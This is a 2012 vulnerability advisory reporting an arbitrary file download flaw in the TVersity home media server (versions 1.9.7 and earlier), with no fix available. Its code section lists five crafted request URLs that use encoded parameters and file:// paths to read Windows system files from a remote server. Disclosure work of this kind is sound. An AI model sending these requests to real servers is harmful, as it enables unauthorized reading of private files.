TVersity 1.9.7 – Arbitrary File Download
####################################################################### Luigi Auriemma Application: TVersity http://tversity.com Versions: <= 1.9.7 Platforms: Windows Bug: arbitrary files downloading Exploitation: remote Date: 14 Mar 2012 Author: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== TVersity is an home media server. ####################################################################### ====== 2) Bug ====== Possibility of downloading arbitrary files. Note that TVersity is intended for an home usage and by default it shouldn't accept connections from internet (there is a specific option for that), anyway I have not verified. ####################################################################### =========== 3) The Code =========== http://SERVER:41952/geturl/.%3ftype%3daudio%252fmpeg%26url%3dfile://c:/windows/&ext=system.ini http://SERVER:41952/geturl/%2e?type=audio/mpeg&url=file://c:/windows/&ext=system.ini http://SERVER:41952/geturl/%2e?type=audio/mpeg&url=file://c:/windows/system.ini&ext=. http://SERVER:41952/geturl/system.ini.ini?type=audio/mpeg&url=file://c:/windows/&ext=.ini http://SERVER:41952/geturl/c:\windows\system.ini.mp3?type=audio/mpeg&url=file://&ext=.ini ####################################################################### ====== 4) Fix ====== No fix. ####################################################################### |